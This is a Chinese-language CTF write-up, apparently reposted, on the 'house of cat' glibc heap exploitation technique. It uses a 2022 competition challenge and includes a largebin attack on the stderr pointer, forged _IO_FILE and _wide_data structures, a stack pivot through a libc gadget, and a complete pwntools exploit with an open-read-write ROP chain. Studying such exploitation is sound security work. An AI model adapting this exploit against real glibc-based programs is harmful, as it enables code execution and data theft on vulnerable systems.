house of cat 心得体会

admin 2023年3月28日02:07:43评论81 views字数 14690阅读48分58秒阅读模式

适用版本:

glibc 2.23 -- 至今

利用条件:

  • 可以进行一次任意地址写堆地址

  • 可以触发 IO 流操作

攻击方法:

  • 劫持stderr指针为我们构造的fake_IO_FILE(伪造好stderr和_wide_data结构体)

  • 触发 IO 流操作

源码分析:

触发__malloc_assert后会有这样一条调用链:

__malloc_assert -> __fxprintf -> __vfxprintf->locked_vfxprintf -> __vfprintf_internal -> _IO_file_xsputn

其中_IO_file_xsputn是通过vtable 处的指针来调用,且在_IO_file_jumps_IO_file_xsputn函数和_IO_wfile_seekoff相差0x10大小

house of cat 心得体会

我们通过劫持 _IO_2_1_stderr 结构体,并将 vtable 处的指针改为_IO_wfile_seekoff,来执行我们想要的链:

_IO_wfile_seekoff -> _IO_switch_to_wget_mode->_IO_WOVERFLOW

//_IO_wfile_seekoff函数源码

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

if (mode == 0)
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));

bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}

通过 _IO_wfile_seekoff 函数来触发 _IO_switch_to_wget_mode 函数,进而执行 _IO_switch_to_wget_mode 函数再触发宏调用函数_IO_WOVERFLOW

//_IO_switch_to_wget_mode 函数源码

_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}

若满足 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 这个条件,_IO_WOVERFLOW 函数会通过跳转到_wide_vtable 中的函数指针

我们可以通过控制_wide_vtable处的指针,来劫持程序的执行流

若未开沙箱,则可直接劫持_wide_vtable为one_gadget

若execve函数被禁,则可通过magic_gadget和leave_ret构造栈迁移,来完全控制程序流执行rop链,详细可以在CTF 中 glibc堆利用 及 IO_FILE 总结 学习

magic_gadget:

<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]

<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]

<svcudp_reply+34>: lea r13,[rbp+0x10]

<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0

<svcudp_reply+45>: mov rdi,r13

<svcudp_reply+48>: call QWORD PTR [rax+0x28]

例题2022挑战杯 house of cat

保护全开,开了沙箱

house of cat 心得体会

程序分析:

限制申请大小 0x418-0x46f,限制修改次数两次并只能修改0x30字节

存在UAF漏洞,限制泄露数据最大大小为0x30字节

题目除了前面的加密,本身算是一道标准的菜单题,不过我们主要是要分析这道题里house of cat手法如何利用,前面需要逆向的部分不再赘述

由于开了沙箱的缘故,我们需要构造orw来读取flag。此外,送入orw前还需要构造close(0),将标准输入关闭掉,这样再次read的时候flag文件描述符就将是0,则可以正常read flag文件

利用详解:
  • 首先是泄露libc地址和heap地址

  • 伪造好stderr和_wide_data结构体

  • largebin attack攻击stderr指针

  • 修改top_chunk大小并触发IO调用

  • 进入 house of cat 的调用链,通过_wide_data->vtable跳转到提前布置好的地址进行栈迁移

  • 栈迁移后便已完全控制程序流,跳转执行rop链

首先看一下我们要伪造的两个结构体stderr和_IO_wide_data伪造前的样子

stderr

p *(struct _IO_FILE_plus*) stderr
pwndbg> p _IO_2_1_stderr_
$1 = {
file = {
_flags = -72540025,
_IO_read_ptr = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7ff44001a724 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ff44001a780 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '00',
_shortbuf = "",
_lock = 0x7ff44001ba60 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ff4400198a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '00' <repeats 19 times>
},
vtable = 0x7ff440016600 <_IO_file_jumps>
}

_IO_wide_data

p *(struct _IO_wide_data*) 0x555555554000
#0x555555554000为heap基地址
pwndbg> p *(struct _IO_wide_data*) 0x558944aed000
$2 = {
_IO_read_ptr = 0x10102464c457f <error: Cannot access memory at address 0x10102464c457f>,
_IO_read_end = 0x0,
_IO_read_base = 0x1003e0003 <error: Cannot access memory at address 0x1003e0003>,
_IO_write_base = 0x11f0 <error: Cannot access memory at address 0x11f0>,
_IO_write_ptr = 0x40 <error: Cannot access memory at address 0x40>,
_IO_write_end = 0x3148 <error: Cannot access memory at address 0x3148>,
_IO_buf_base = 0x38004000000000 <error: Cannot access memory at address 0x38004000000000>,
_IO_buf_end = 0x1c001d0040000d <error: Cannot access memory at address 0x1c001d0040000d>,
_IO_save_base = 0x400000006 <error: Cannot access memory at address 0x400000006>,
_IO_backup_base = 0x40 <error: Cannot access memory at address 0x40>,
_IO_save_end = 0x40 <error: Cannot access memory at address 0x40>,
_IO_state = {
__count = 64,
__value = {
__wch = 0,
__wchb = "000000"
}
},
_IO_last_state = {
__count = 728,
__value = {
__wch = 0,
__wchb = "000000"
}
},
_codecvt = {
__cd_in = {
step = 0x2d8,
step_data = {
__outbuf = 0x8 <error: Cannot access memory at address 0x8>,
__outbufend = 0x400000003 <error: Cannot access memory at address 0x400000003>,
__flags = 792,
__invocation_counter = 0,
__internal_use = 792,
__statep = 0x318,
__state = {
__count = 28,
__value = {
__wch = 0,
__wchb = "000000"
}
}
}
},
__cd_out = {
step = 0x1c,
step_data = {
__outbuf = 0x1 <error: Cannot access memory at address 0x1>,
__outbufend = 0x400000001 <error: Cannot access memory at address 0x400000001>,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 2512,
__value = {
__wch = 0,
__wchb = "000000"
}
}
}
}
},
_shortbuf = L"x9d0",
_wide_vtable = 0x1000
}

house of cat 心得体会

获取libc基址和heap基址
add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:n')
libc_base=l64()-0x21a0e0#-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))

heap_base = u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0x290
li('heap_base = '+hex(heap_base))

largebin attack攻击stderr指针
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(heap_base+0x1180+0x30)
#_IO_save_base -- _IO_2_1_stderr_+72
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(heap_base+0x10a0)
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#fake_file+=

add(0,0x428,fake_file)

house of cat 心得体会

pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20)
edit(0,pl)
#main_arena+1104 main_arena+1104
#IO_list_all stderr-0x20

delete(1) #ub
add(3,0x440,b'c') #attack

修改top_chunk大小并触发IO调用
add(4,0x418,b'd') #r chunk1

freed

chunk 15

chunk 4

chunk 2

chunk 3

pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20)
edit(3,pl)
#chunk9+0x30 main_arena+1120
#chunk9+0x30 &TopChunk_Size+3 -0x20

delete(8) #ub

delete(14)
add(10,0x450,b'a') #attack

house of cat 心得体会

house of cat 心得体会

模板详解:
part 1
#print('==============================================part 1
chunk0 = heap_base+0xfc0
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(chunk0+0x1c0+0x30)
#_IO_save_base -- _IO_2_1_stderr_+72
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(chunk0+0xe0) #wide_data start
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#vtable
fake_file+=wide_data

构造后的stderr,我们将_IO_save_base改为chunk0+0x1c0+0x30

将_wide_data地址改为我们送入chunk0中的payload中wide_data这部分的地址,以进行_wide_data结构体的构造

pwndbg> p *stderr
$3 = {
_flags = 0,
_IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,
_IO_read_end = 0x7f0cbec1a0d0 <main_arena+1104> "300240301276f177",
_IO_read_base = 0x7f0cbec1a0d0 <main_arena+1104> "300240301276f177",
_IO_write_base = 0x7f0cbec1a680 <_IO_list_all> "240246301276f177",
_IO_write_ptr = 0x7f0cbec1a840 <_IO_2_1_stdout_+192> "",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x559ea0e1c1b0 <incomplete sequence 336>,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '00',
_shortbuf = "",
_lock = 0x7f0cbec1ba60 <_IO_stdfile_2_lock>,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x559ea0e1c0a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '00' <repeats 19 times>
}

part 2
#print('==============================================part 2
wide_data=p64(0)*4+p64(1) #_IO_write_ptr
wide_data+=p64(0)*20
wide_data+=b'flagx00x00x00x00' #_statep #flag_addr
wide_data+=p64(0)*2
wide_data+=p64(heap_base+0x1170) #wide_data+=p64(0)*2 1
wide_data+=pivot

看下面我们构造后的_IO_wide_data

_wide_vtable被我们修改为了chunk0+0x1b0

house of cat 心得体会

这里的0x000055f6c4a410a0就是我们送入chunk0中的payload中的wide_data这部分的地址(chunk0+0xe0)

pwndbg> p *(struct _IO_wide_data*) 0x000055f6c4a410a0
$4 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "000000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "000000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "000000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x67616c66,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "000000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x55f6c4a41170
}

stderr中储存的chunk0的值会作为rdi送入_IO_wfile_seekoff和_IO_switch_to_wget_mode

house of cat 心得体会

经过一系列赋值后,我们会执行到chunk0+0xa0+0xe0+0x18地址处,即我们的magic_gadget处

house of cat 心得体会

house of cat 心得体会

house of cat 心得体会

执行 _IO_WOVERFLOW劫持程序流到magic_gadget

part 3
#print('==============================================part 3
pivot=p64(magic_gadget) #call rdi+0x88
pivot+=p64(0)*4
pivot+=p64(0xdeadbeef)
pivot+=p64(add_rsp_ret)
pivot+=p64(0xdeadbeef)
pivot+=p64(heap_base+0x1178+0x30) #pivot+=p64(0)*4 4
pivot+=p64(leave_ret)
pivot+=rop

我们将rbp赋值为chunk0+0x48(-->chunk0+0x1b0)

house of cat 心得体会

而下面会执行到chunk0+0x48 +0x18 + 0x28地址处(即leave_ret处)

house of cat 心得体会

栈迁移

house of cat 心得体会

自此,我们完全控制了程序流

part 4
#print('==============================================part 4
#close(0)
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open('flag',0)
flag_addr=heap_base+0x1168
rop+=p64(pop_rdi)
rop+=p64(flag_addr)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)

#read(0,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)

#write(1,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)

要注意的一点是由于我们part3的构造,所以我们还要进行add rsp,0x18的调整以执行到rop

house of cat 心得体会

成功获取flag

house of cat 心得体会

触发流程:

calloc

_int_malloc

sysmalloc

__malloc_assert

__fxprintf

locked_vfxprintf

__vfprintf_internal

_IO_wfile_seekoff

_IO_switch_to_wget_mode

magic_gadget

leave_ret

rop

完整exp:
from pwn import *
p=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'

s = lambda data :p.send(data)
sa = lambda x, y :p.sendafter(x, y)
sl = lambda data :p.sendline(data)
sla = lambda x, y :p.sendlineafter(x, y)
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

def dbg():
gdb.attach(proc.pidof(p)[0])
pause()


def add(idx,size,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$xff')
sla('plz input your cat choice:n',str(1))
sla('plz input your cat idx:n',str(idx))
sla('plz input your cat size:n',str(size))
sa('plz input your content:n',cont)
def delete(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$xff')
sla('plz input your cat choice:n', str(2))
sla('plz input your cat idx:n',str(idx))
def show(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$xff')
sla('plz input your cat choice:n', str(3))
sla('plz input your cat idx:n',str(idx))
def edit(idx,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$xff')
sla('plz input your cat choice:n', str(4))
sla('plz input your cat idx:n',str(idx))
sa('plz input your content:n', cont)

sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')

add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:n')
libc_base=l64()-0x21a0e0#-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))

heap_base = u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0x290
li('heap_base = '+hex(heap_base))

IO_list_all = libc_base+0x21a680

magic_gadget = libc_base+0x16a1fa
'''
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
'''

IO_2_1_stderr = libc_base+0x21a6a0 #_IO_2_1_stderr
stderr = libc_base+0x21a860

IO_wfile_jumps = libc_base+0x2160c0

lock=libc_base+0x21ba60 #_lock

add_rsp_ret=libc_base+0x000000000003a889
leave_ret=libc_base+0x00000000000562ec
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0

syscall=libc_base+0xea5b9
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']


add(11,0x450,b'm')

#print('==============================================part 4
#close(0)
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open('flag',0)
flag_addr=heap_base+0x1168
rop+=p64(pop_rdi)
rop+=p64(flag_addr)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)

#read(0,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)

#write(1,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)


#print('==============================================part 3
pivot=p64(magic_gadget) #call rdi+0x88
pivot+=p64(0)*4
pivot+=p64(0xdeadbeef)
pivot+=p64(add_rsp_ret)
pivot+=p64(0xdeadbeef)
pivot+=p64(heap_base+0x1178+0x30) #pivot+=p64(0)*4 4
pivot+=p64(leave_ret)
pivot+=rop

#print('==============================================part 2
wide_data=p64(0)*4+p64(1) #_IO_write_ptr
wide_data+=p64(0)*20
wide_data+=b'flagx00x00x00x00' #_statep #flag_addr
wide_data+=p64(0)*2
wide_data+=p64(heap_base+0x1170) #wide_data+=p64(0)*2 1
wide_data+=pivot


#print('==============================================part 1
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(heap_base+0xfc0+0x1c0+0x30) #chunk0+0x1c0 -> chunk0+0x1b0
#_IO_save_base
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(heap_base+0x10a0) #wide_data
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#vtable --> _IO_wfile_seekoff
fake_file+=wide_data


add(0,0x428,fake_file)
add(15,0x460,'prevent merge chunk')

add(1,0x418,b'a')
delete(0) #ub

add(2,0x460,b'b') #chunk0 -> largebin

pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20)
edit(0,pl)
#main_arena+1104 main_arena+1104
#IO_list_all stderr-0x20

delete(1) #ub
add(3,0x440,b'c') #attack


add(4,0x418,b'd') #r chunk1

add(7,0x460,b'g')
add(8,0x430,b'h')
delete(3)
add(9,0x460,b'i') #chunk3 -> largebin

pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20)
edit(3,pl)
#chunk9+0x30 main_arena+1120
#chunk9+0x30 &TopChunk_Size+3 -0x20

delete(8) #ub

delete(14)
add(10,0x450,b'a') #attack

p.sendafter("mew mew mew~~~~~~n",'CAT | r00t QWB QWXF$xff')
p.sendlineafter("plz input your cat choice:n",str(1))
p.sendlineafter("plz input your cat idx:n",str(6))
dbg()
p.sendlineafter("plz input your cat size:n",str(0x46f))



itr()

参考:

House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解

house of cat -2022强网杯pwn复现 | ZIKH26's Blog

CTF 中 glibc堆利用 及 IO_FILE 总结

来源先知社区的【舒*满 师傅

注:如有侵权请联系删除

house of cat 心得体会

 

如需进群进行技术交流,请扫该二维码

house of cat 心得体会

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月28日02:07:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   house of cat 心得体会https://cn-sec.com/archives/1634423.html

发表评论

匿名网友 填写信息